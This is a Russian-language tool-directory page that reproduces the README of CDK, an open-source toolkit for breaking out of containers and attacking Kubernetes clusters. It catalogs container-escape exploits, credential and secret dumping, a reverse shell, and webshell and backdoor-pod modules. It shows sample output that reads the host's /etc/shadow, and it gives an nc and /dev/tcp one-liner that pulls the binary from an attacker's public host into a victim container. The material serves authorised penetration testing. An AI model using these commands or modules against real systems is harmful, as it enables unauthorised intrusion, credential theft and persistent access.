CDK

Cloud & Container Security v1.5.6 · 23.02.2026 активный

Инструмент для атак изнутри скомпрометированного контейнера (container escape). Автоматически определяет runtime (Docker/containerd/CRI-O), ищет пути побега: privileged mode, exposed Docker socket, runc CVE. Включает модули для CVE-2019-5736, CVE-2022-0847 (DirtyPipe).

v1.5.6
23.02.2026 current
Добавлен 13.07.2026 · Обновлён 13.07.2026 · Cloud & Container Security
Установка
# Скачать статичный бинарник (работает внутри минимального контейнера)
https://github.com/cdk-team/CDK/releases
./cdk evaluate --full
переведено ИИ

CDK - Инструментальный набор для проникновения в контейнеры без зависимостей

English | Китайский (упрощённый)

png

Юридическая оговорка

Использование CDK для атаки на цели без предварительного взаимного согласия является незаконным. CDK предназначен исключительно для тестирования безопасности.

Обзор

CDK — это инструментальный набор для проникновения в контейнеры с открытым исходным кодом, разработанный для обеспечения стабильной эксплуатации в различных урезанных контейнерах без какой-либо зависимости от операционной системы. Он включает полезные сетевые утилиты и множество мощных PoC/EXP, помогая вам легко выйти из контейнера и взять под контроль кластер K8s.

Быстрый старт

Запустите cdk eva, чтобы получить информацию оценки и рекомендуемую эксплойт, затем запустите cdk run, чтобы начать атаку.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Установка/доставка

Скачайте последний релиз по ссылке https://github.com/cdk-team/CDK/releases/

Поместите исполняемые файлы в целевой контейнер и начните тестирование.

СОВЕТЫ: Доставка CDK в целевой контейнер при реальном тестировании на проникновение

Если у вас есть эксплойт, позволяющий загружать файлы, вы можете напрямую загрузить бинарный файл CDK.

Если у вас есть эксплойт для удаленного выполнения кода (RCE), но в целевом контейнере нет команд curl или wget, вы можете использовать следующий способ для доставки CDK:

  1. Сначала разместите бинарный файл CDK на вашем хосте с публичным IP.
(on your host)
nc -lvp 999 < cdk
  1. Внутри контейнера-жертвы выполните
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Использование

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Возможности

CDK имеет три модуля:

  1. Evaluate (Оценка): сбор информации внутри контейнера для поиска потенциальных уязвимостей.
  2. Exploit (Эксплойт): для побега из контейнера, закрепления в системе и горизонтального перемещения.
  3. Tool (Инструмент): сетевые утилиты и API для TCP/HTTP-запросов, туннелей и управления кластером K8s.

Модуль «Оценка»

Использование

cdk evaluate [--full]
Тактики Скрипт Поддерживается Использование/Пример
Сбор информации Базовая информация об ОС ссылка
Сбор информации Доступные возможности (Capabilities) ссылка
Сбор информации Доступные Linux команды ссылка
Сбор информации Точки монтирования (Mounts) ссылка
Сбор информации Сетевое пространство имён (Net Namespace) ссылка
Сбор информации Чувствительные переменные окружения (ENV) ссылка
Сбор информации Чувствительные процессы ссылка
Сбор информации Чувствительные локальные файлы ссылка
Сбор информации Kube-proxy Route Localnet (CVE-2020-8558) ссылка
Сбор информации Обнаружение сервисов на основе DNS ссылка
Обнаружение Информация о K8s Api-server ссылка
Обнаружение Информация о K8s Service-account ссылка
Обнаружение API метаданных облачного провайдера ссылка

Модуль «Эксплойт»

Вывести список всех доступных эксплойтов:

cdk run --list

Запустить целевой эксплойт:

cdk run <script-name> [options]
Тактика Техника Имя эксплойта в CDK Поддерживается В тонком контейнере Документация
Побег docker-runc CVE-2019-5736 runc-pwn
Побег containerd-shim CVE-2020-15257 shim-pwn ссылка
Побег docker.sock PoC (атака DIND) docker-sock-check ссылка
Побег docker.sock RCE docker-sock-pwn ссылка
Побег Docker API(2375) RCE docker-api-pwn ссылка
Побег Побег через монтирование устройства mount-disk ссылка
Побег Побег через LXCFS lxcfs-rw ссылка
Побег Побег через Cgroups mount-cgroup ссылка
Побег Злоупотребление привилегированным пространством имён пользователя (CVE-2022-0492) abuse-unpriv-userns ссылка
Побег Побег через Procfs mount-procfs ссылка
Побег PoC побега через Ptrace check-ptrace ссылка
Побег Перезапись Cgroup (devices.allow) rewrite-cgroup-devices ссылка
Побег Чтение произвольного файла с хоста (CAP_DAC_READ_SEARCH) cap-dac-read-search ссылка
Обнаружение Зондирование компонентов K8s service-probe ссылка
Обнаружение Дамп метаданных бокового контейнера Istio istio-check ссылка
Обнаружение Дамп политик безопасности подов K8s k8s-psp-dump ссылка
Дистанционное управление Обратная оболочка (Reverse Shell) reverse-shell ссылка
Дистанционное управление Выполнение через Kubelet kubelet-exec
Доступ к учётным данным Брутфорс реестра контейнеров registry-brute ссылка
Доступ к учётным данным Сканирование ключей доступа ak-leakage ссылка
Доступ к учётным данным Получение токена Kubernetes через Etcd etcd-get-k8s-token
Доступ к учётным данным Дамп секретов Kubernetes k8s-secret-dump ссылка
Доступ к учётным данным Дамп конфигураций Kubernetes k8s-configmap-dump ссылка
Повышение привилегий Обход RBAC в Kubernetes k8s-get-sa-token ссылка
Повышение привилегий CVE-2026-31431 copy-fail (только для non-root→root & x86_64) copy-fail-cve-2026-31431 ссылка
Закрепление Развёртывание веб-шелла webshell-deploy ссылка
Закрепление Развёртывание пода-задней двери k8s-backdoor-daemonset ссылка
Закрепление Развёртывание теневого API-сервера Kubernetes k8s-shadow-apiserver ссылка
Закрепление MITM-атака в Kubernetes (CVE-2020-8554) k8s-mitm-clusterip ссылка
Закрепление Развёртывание CronJob в Kubernetes k8s-cronjob ссылка

Примечание о тонком (Thin) сборке: Тонкая сборка подготовлена для контейнеров с коротким временем жизни, таких как функции без сервера. Мы добавляем метки сборки в исходный код и исключаем некоторые эксплойты, чтобы сделать бинарный файл легче. 2-мегабайтный файл содержит 90% функций CDK, и вы также можете выбрать полезные эксплойты из исходного кода CDK для сборки собственного легковесного бинарного файла.

Модуль инструментов

Запуск команд аналогичен Linux, с небольшими различиями в аргументах ввода, см. ссылку на использование.

cdk nc [options]
cdk ps
Команда Описание Поддерживается Использование/Пример
nc TCP-туннель ссылка
ps Информация о процессах ссылка
netstat Аналог команды "netstat -antup"
ifconfig Сетевая информация ссылка
vi Редактирование файлов ссылка
ectl Несанкционированный перечень ключей etcd
kcurl Запрос к API-серверу Kubernetes ссылка
dcurl Запрос к HTTP API Docker ссылка
ucurl Запрос к Unix-сокету Docker ссылка
rcurl Запрос к API Docker Registry
probe Сканирование IP/Портов ссылка

Документация о сборке

Если вы хотите узнать, как мы выпустили новую версию, как создается тонкая сборка, почему мы предоставляем версии с UPX, каковы различия между различными версиями (all, normal, thin, upx) и как выбрать конкретные эксплойты и инструменты CDK для компиляции собственной сборки, ознакомьтесь с документацией о сборке.

Документация для разработчиков

Вклад в CDK

Прежде всего, спасибо, что нашли время внести свой вклад!

Благодарим следующих контрибьюторов:

Больше контрибьюторов: Список контрибьюторов

Сообщение об ошибках

Ошибки отслеживаются как GitHub Issues. Создайте проблему, указав текущую версию CDK, сообщение об ошибке и среду. Опишите точные шаги для воспроизведения проблемы.

Предложение улучшений

Предложения по улучшению отслеживаются в GitHub Discussions. Вы можете опубликовать любые мысли здесь, чтобы обсудить их напрямую с разработчиками.

Pull-requests

Исправление проблем или поддержание качества CDK:

  • Опишите текущую версию CDK, среду, проблему и точные шаги для воспроизведения проблемы.
  • Скриншоты или журналы до и после исправления проблемы.

Новая функциональность или эксплойты:

  • Объясните, почему это улучшение будет полезно другим пользователям.
  • Пожалуйста, предоставьте работосреду для проверки вкладов.
  • Скриншоты работы новой функции.
  • Если вы добавляете новый скрипт для оценки/эксплойта, добавьте краткую документацию в сообщение PR, вот пример.

Мероприятия

404StarLink 2.0 - Galaxy

png

Проект CDK теперь включен в Starlink Project 2.0 от 404Team. Присоединяйтесь к сообществу StarLink, чтобы связаться с командой разработчиков CDK.

BlackHat Asia 2021 Arsenal

HITB SecConf 2021 Amsterdam

WHC 2021 (Бутянская конференция белых шляп)

KCON 2021 Arsenal

Kubernetes community Days 2021

Комментарии
Войдите, чтобы оставить комментарий